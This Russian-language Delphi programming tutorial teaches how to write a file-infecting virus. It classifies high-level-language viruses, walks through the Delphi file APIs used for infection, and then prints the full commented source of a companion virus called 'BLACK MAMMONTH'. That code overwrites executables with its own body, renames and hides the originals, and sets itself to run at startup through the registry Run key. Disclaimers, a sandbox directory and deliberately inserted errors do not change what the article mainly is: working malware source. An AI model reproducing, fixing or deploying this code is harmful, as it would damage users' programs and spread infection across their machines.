Delphi World - это проект, являющийся сборником статей и малодокументированных возможностей  по программированию в среде Delphi. Здесь вы найдёте работы по следующим категориям: delphi, delfi, borland, bds, дельфи, делфи, дэльфи, дэлфи, programming, example, программирование, исходные коды, code, исходники, source, sources, сорцы, сорсы, soft, programs, программы, and, how, delphiworld, базы данных, графика, игры, интернет, сети, компоненты, классы, мультимедиа, ос, железо, программа, интерфейс, рабочий стол, синтаксис, технологии, файловая система...
Вирус на Delphi

Автор: Dr.Klouniz
Прислал: Прокопец Антон

ВНИМАНИЕ: вся информация дана исключительно в образовательных целях

Большинство пользователей и даже некоторые программисты считают, что все вирусы пишутся в основном на ассемблере, иногда на Си, а на других языках даже помыслы об ЭТОМ считаются греховными. Это, разумеется, бред (бред- ложное умозаключение, возникающее на фоне болезни, не поддается логической коррекции). На самом деле вирусы можно писать на чем угодно- прологе, коболе, васике а также на стенах в сортире- были бы руки прямые. Мы будем писать на Дельфи. Итак, понятие о вирусе. Прежде всего, вирус- это программа. Точное определение этому волшебному явлению еще не придумал даже Лозинский, однко общие функции вируса таковы- саморазмножение, заражение программ, выполнения других задач, заложенных в него автором- Format C:, звуковые эффекты и пр. Разные вирусы отличаются друг от друга способами заражения и распространения, а также размером. Здесь я не буду приводить классификацию всех вирусов, а коснусь только близких нам- высокоуровневых.

Классификация

HLLO- High Level Language Overwrite.
Такой вирус перезаписывает программу своим телом. Т.о. программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и “заражает” дальше.

HLLC- High Level Language Companion.
Большинство таких вирусов относятся к седой древности (6-7 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация HLLC- более современная: Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.о., пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.

HLLP- High Level Language Parasitic.
Самые продвинутые. Приписывают свое тело к файлу спереди. Первым стартует вирус, затем он восстанавливает программу и запускает ее. С написанием таких вирусов под Win связана проблема- Windows запрещает доступ к запущенному файлу- т.е. мы не можем читать “из себя”.

Ну с классификацией я закончил, теперь прочитай свод базовых знаний (типа, курс лекций), и можно приступать к осваиванию исходника. Итак, что же нам нужно знать: Работа с файлами- вирус довольно активно с ними общается:

  1. Связь с файлом:
    procedure AssignFile(var F; FileName: string);
    // Например:
    AssignFile(F1, ’klizma.exe’);
  2. Открытие файла для чтения:
    procedure Reset(var F[: file; RecSize: Word]);
    // Например:
    Reset(F1);
  3. Чтение инфы из файла в буфер:
    procedure BlockRead(var F: file; var Buf;
      Count: Integer[; var AmtTransferred: Integer]);
    Здесь buf- массивчик, напр.
    Buf: array[1..65535] of Char;
    Count- сколько байтов ты хочешь прочесть
    AmtTransfered- сколько реально прочитано.
    // Например:
    BlockRead(F1, Buf, 1024);
  4. Запись из буфера в файл:
    procedure BlockWrite(var f: file; var Buf; Count:
      Integer[; var AmtTransferred: Integer]);

    Почти то же, что и предыдущее.

  5. Открытие файла на запись, вся запись будет проводиться в конец файла: Append (F: File);
  6. Открытие файла для перезаписи: procedure Rewrite(var F: File [; Recsize: Word ] ); Содержимое файла при этом обнуляется.
  7. Поиск файла. Без него нам никак не обойтись, надо же искать жертву J.
    function FindFirst(const Path: string; Attr:
      Integer; var F: TSearchRec): Integer;
    Attr- атрибуты файла, например faAnyFile- любой файл, faArchive- архивный, faHidden- скрытый.
    F- переменная типа TsearchRec, в нее дельфи запихивает все хар-ки найденного файла.
    // Например:
    FindFirst(‘ * .exe’, faAnyFile, sr);
    Sr.Name- имя найденного файла
    Sr.Size- его размер.

    Чтобы искать следующий такой же файл, пиши FindNext (Sr); Если файл найден, то процедуры FindFirst и FindNext возвращают 0 (зеро). Подсказываю: можешь в своем вирусе создать интересный циклик:

    Result := FindFirst('*.exe', faAnyFile, sr);
    while result = 0 do
    begin
      //Сюда пишешь процедуру заражения
      FindNext(sr);
    end;
  8. 8.Закрытие файла, все наши с ним извращения сохраняются:
    procedure CloseFile(var F: file);
  9. 9.Сдвиг рамки считывания:
    procedure Seek(var F; N: Longint);
    Поясню попонятнее: допустим, надо прочесть кусок объемом 1000 байт из файла в 3000 байт так, чтобы последний байт попал в буфер; ясно, что считывание надо начить (и потом углубитьJ) не с отметки 0 а с отметки 1000 байт! Посему пишем:
    Seek(F1,1000); 
    
    А потом уже
    BlockRead (…); 
    
  10. 10.Иногда,если чего-то не получилось, важно быть об этом проинформированым. Допустим, надо узнать, удалось ли чтение из файла. Непосредственно после BlockRead пишем:
    if IOResult = 0 then
    Если ноль, то все успешно, если нет- возвращается код ошибки. Такой прием возможен, только если
    {$I-}
  11. 11.Когда необходимо завершить программу, не особо удивляя при этом юзера (например в HLLO вирусах, когда нет программы для запускаJ) лично я вызываю старый добрый stack overflow:
    function BlowTheStack(I: Integer): Integer;
    var
      J: Integer;
    begin
      J := 2;
      Result := BlowTheStack(I * J);
    end;
  12. 12.Установка атрибутов файла:
    FileSetAttr(Filename: string, FileAttr);
    // Например:
    FileSetAttr(‘klizma.exe’, faHidden);
    Fileattr- как в findfirst.

Итак, если ты дочитал досюда- ставлю ящик пива, лично я бы давно уже завязал J. Открывай теперь исходник, там все подробно откомментировано, а здесь я поясню только общие принципы.

Это извращение- вирус типа HLLC, весьма простой- вообще и для понимания в частности. Алгоритм его таков: при заражении вирус исходный файл переименовывает в нечто случайное и помещает в каталог c:\windows\ или где там винды (это в боевой версии, в моем исходнике вся возня происходит в директории c:\INF\). Своим телом вирь замещает оригинальный файл, причем если оригинал больше виря менее, чем вдвое, вирь добавляет к себе кусочек себя же J, чтобы не отличится по размеру от оригинала. В каталоге с виндами создается также занимательный файл- filelist.ini, в котором вирь фиксирует зависимость между оригинальным и случайным именами файла (т.е. при запуске вирь получает имя своего файла, допустим winword.exe, смотрит в каталог и видит там: winword.exe= 34258352.340., затем переименовывает этот цифирный файл в свой каталог, но с именем winword.exe(впереди- пробел или символ “_”), и запускает этот “левый” файл. После завершения работы левого файла управление получает вирь, ища и заражая файлы). При первом старт С алгоритмом заражения и старта вроде, все. Кстати, для чтения и записи в файл я использовал такую могучую вещь, как TfileStream. Что это такое и с чем кушать- посмотри в хелпе, хотя по исходнику это и так понятно. Чтобы гонять вирь на своем компе, и не опасаться злых духов надо создать каталог c:\INF, и все действия проводить там- как видно из исходника, вирь только там и может работать- что поделаешь, небоевая версия…

Совет напоследок

Вирь после компиляции будет весить поболее 200 Кб (царский размер!), поэтому напрягись и сожми его NeoLite’ом- хороший пакер для EXE и DLL файлов, с дельфийских прог сносит ~40% избыточного веса, а с опцией MaxCmp файл обратно уже не распаковывается. Взять его можно тут: www.neoworx.com, весит он 568Кб. P.S. Чти УК РСФСР, как чту его я! Написание вирусов, наверное, наказуемо по статье 273. И если ты придешь в отделение милиции в майке с исходным текстом своего вируса, обвешанным дискетами с ним же и чистосердечно во всем признаешься, тебя посадят. На 15 суток, за хулиганство и нарушение общественного порядка!

Примечание VR-online

На этом теоретическая часть статьи заканчивается, остаётся только отдать исходник. Исходник я не дам качать просто так, потому что я не поддерживаю тех, кто пишет вирусы. Но только для обучения я привожу его как текст к статье. Предупреждаю, что я сделал тут несколько незначительных ошибок, чтобы начинающие программисты не навредили себе и другим. Если ты обладаешь хотя бы начальными знаниями в Delphi, то ты исправишь эти ошибки без проблем. И надеюсь, что не будешь использовать знания в разрушительных целях, а наоборот воспользуешься ими для защиты себя и окружающих. Помни, что ты не станешь лучше если уничтожишь компьютер соседа.

Исходник

{
BLACK MAMMONTH VIRUS,
ОБУЧАЮЩАЯ ВЕРСИЯ.
MADE IN USSR,
Dr.Klouniz

КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:\inf
2.Компилируем вирус (Project--> Build)
3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c: \inf несколько exe - файлов и вирус.Запускаем вирус.
}

{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию

program VirDebug;
uses sysutils, //Заголовочные файлы
  windows,
  registry, //Работа с системным реестром
  classes,
  inifiles; //Работа с INI-файлами
const
  VIRLEN = 296960; //Длина нашего вируса. После компиляции сравните получ.
  //размер с указанным здесь, при необходимости измените и перекомпилируйте
var
  zertva, virus: TFileStream; //Мы и жертва
  //буфера для чтения записи довеска и вируса
  vir, dovesok: array[1..VirLen] of Char;
  result: integer; //результат FindFirst'а
  client, sr: TSearchRec;
  //Массив имени файла
  Name: array[1..8] of string;
  //Массив расширения файла
  Ext: array[1..3] of string;
  //Наш INI-каталог; вирус- полноценная прога под WindoZ!
  Info: TINIFILE;
  NewName, pr, par, FromF: string; //Разные строчки
  //Дата как метка зараженности
  Birth: TDateTime;
  kill, slay, winvir, NewProga: file; //файлы
  //Индикатор зараженности (TRUE/FALSE)
  infected: boolean;
  //Текстовый файл-визитка; свидетельствует о том, что это не первый
  //старт виря на данном компьютере
  check: textfile;
  si: Tstartupinfo;
  p: Tprocessinformation;
  reg: TRegistry;
  // Функция- копировалка

function WindowsCopyFile(FromFile, ToDir: string): boolean;
var
  F: TShFileOpStruct;
begin
  F.Wnd := 0;
  F.wFunc := FO_COPY;
  FromFile := FromFile + #0;
  F.pFrom := pchar(FromFile);
  ToDir := ToDir + #0;
  F.pTo := pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result := ShFileOperation(F) = 0;
end;

procedure INFECTFILES; //Процедура-инфектор
begin
  //Находим исполн. файл в каталоге c:\inf\
  result := FindFirst('c:\INF\*.exe', faAnyFile, client);
  while Result = 0 do //Если нашли, то...
  begin
    //Проверка на вшивость
    Infected := false;
    //если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
    if DateTimeToStr(FileDateToDateTime(fileage('c:\INF\' + client.name))) =
      '09.08.83 06:00:00' then
      infected := true;
    //Проверено!
    //если мы нашли не сами себя и не зараженный файл, то...
    if (client.name <> sr.name) and (infected = false) and
      (client.name <> 'mammonth.exe') then
      . //Сочиним новое имя для нашей жертвы;
    begin
      Name[1] := inttostr(random(10));
      Name[2] := inttostr(random(10));
      Name[3] := inttostr(random(10));
      Name[4] := inttostr(random(10));
      Name[5] := inttostr(random(10));
      Name[6] := inttostr(random(10));
      Name[7] := inttostr(random(10));
      Name[8] := inttostr(random(10));
      Ext[1] := inttostr(random(10));
      Ext[2] := inttostr(random(10));
      Ext[3] := inttostr(random(10));
      NewName := name[1] + name[2] + name[3] + name[4] + name[5] + name[6] +
        name[7] +
        name[8] + '.' + ext[1] + ext[2] + ext[3]; //скомпонуем новое имя
      //Свяжемся с нашей жертвой
      AssignFile(Kill, 'c:\INF\' + client.name);
      //Отправим ее в загон для всех таких же, с уникальным именем
      ReName(Kill, 'c:\INF\files\' + NewName);
      //Фиксируем новое имя в нашем каталоге
      Info := TIniFile.create('c:\inf\filelist.ini');
      with info do
      begin
        //Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
        WriteString('FILELIST', client.name, NewName);
        free;
      end;
      //А теперь заразим страшным ВИРУСОМ наш файл!
      //Открываем на чтение наш семенной фонд :)
      ||virus := TFileStream.create('c:\inf\mammonth.exe', fmOpenRead);
      Virus.Read(vir, VirLen);
      //Читаем вирус полностью (константу VirLen помнишь?)
    //Если клиент поболее нас, но не более чем вдвое,
      if (Client.Size > VirLen) and ((Client.Size - VirLen) <= VirLen) then
        //то сравняем размеры
      begin
        Virus.Position := 1; //Рамка считывания- сначала
        Virus.Read(Dovesok, Client.Size - VirLen); //читаем довесок
      end;
      //перепишем жертву по- нашему
      zertva := TFileStream.create('c:\inf\' + client.name, fmCreate);
      zertva.Write(vir, virlen); //Запишем себя в жертву
      if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
        zertva.write(dovesok, client.size - virlen); //И сверху еще довесок
      Birth := StrToDateTime('09.08.83 06:00:00');
      //поставим жертве индикатор зараженности
      FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
      Zertva.FREE; //Отпускаем жертву!
      Virus.FREE;
    end;
    Result := FindNEXT(Client); //Ищем следуюущий екзешник
  end;
end;

procedure REGISTRATION;
begin
  //первый раз, в первый класс!
  MkDir('c:\inf\files'); //Создадим загон для жертв
  AssignFile(check, 'c:\inf\present.dat'); //Делаем файл-визитку
  ReWrite(check);
  WriteLn(check, 'BLACK MAMMONTH virus is now active in this computer');
  CloseFile(check); //Сделано!
  par := ParamStr(0); //Посмотрим полное имя нашего файла с путем
  WindowsCopyFile(Par, 'c:\inf\'); //скопируем его в рабочий каталог (папку:))
  AssignFile(winvir, 'c:\inf\' + sr.name); //Найдем его в рабочем каталоге
  ReName(winvir, 'c:\inf\mammonth.exe'); //...И переименуем в mammonth.exe
  Reg := TRegistry.Create;
  //И пусть этот маммонт запускается каждый раз!
  FileSetAttr('c:\inf\mammonth.exe', faHidden);
  with Reg do
  begin
    if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', true) then
    begin
      WriteString('MAMMONTH', 'c:\windows\mammonth.exe');
      CloseKey;
    end;
  end;
  //Все. Мы в реестре.
  //Халтим вирус с правдоподобным сообщением-
  //сюда можно вписать процедуру вызова StackOverflow
end;
//Процедура исполнения оригинальной проги

procedure EXECPROGRAM
begin
  Info := TIniFile.Create('c:\inf\filelist.ini'); //Заглянем в каталог
  FromF := Info.ReadString('FILELIST', Sr.Name, 'NewName');
  //Вытащим из загона нужный файл
  WindowsCopyFile('c:\inf\files\' + FromF, 'c:\inf\');
  AssignFile(NewProga, 'c:\inf\' + FromF);
  ReName(NewProga, 'c:\inf\' + '_' + Sr.Name); //сделаем левый файл
  PR := 'c:\inf\' + '_' + Sr.Name;
  Info.Free;
  //Создали, теперь заКапустим его!!!
  FillChar(Si, SizeOf(Si), 0);
  with Si do
  begin
    cb := SizeOf(Si);
    dwFlags := startf_UseShowWindow;
    wShowWindow := 4;
  end;
  //Application.Minimize;
  Pr := Pr + #0;
  Createprocess(nil, @Pr[1], nil, nil, false, Create_default_error_mode, nil,
    nil, si, p);
  Waitforsingleobject(p.hProcess, infinite);
  //Application.Restore;
  //Все, отпахала юзерская прога- потрем ее на хрен!
  AssignFile(slay, pr);
  Erase(slay);
end.

{
КОНЕЦ ПРОЦЕДУРНОЙ ЧАСТИ
}

begin
  //узнаем имя файла, откуда стартовали
  FindFirst(ParamStr(0), faAnyFile, sr);
  //А вдруг первый раз на этом компе???
  AssignFile(check, 'c:\inf\present.dat');
  Reset(check);
  if IOresult <> 0 then //Если нашего файлика-визитки нет, пора зарегиться тут
  begin
    REGISTRATION;
    INFECTFILES;
    HaLt;
  end;
  if sr.name = 'mammonth.exe' then
  begin
    //Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
    //INFECTFILES;
    HALT;
  end;
  INFECTFILES;
  EXECPROGRAM;
  {++++END OF THE WORLD NEAR++++}
end.
Проект Delphi World © Выпуск 2002 - 2004
Автор проекта: ___Nikolay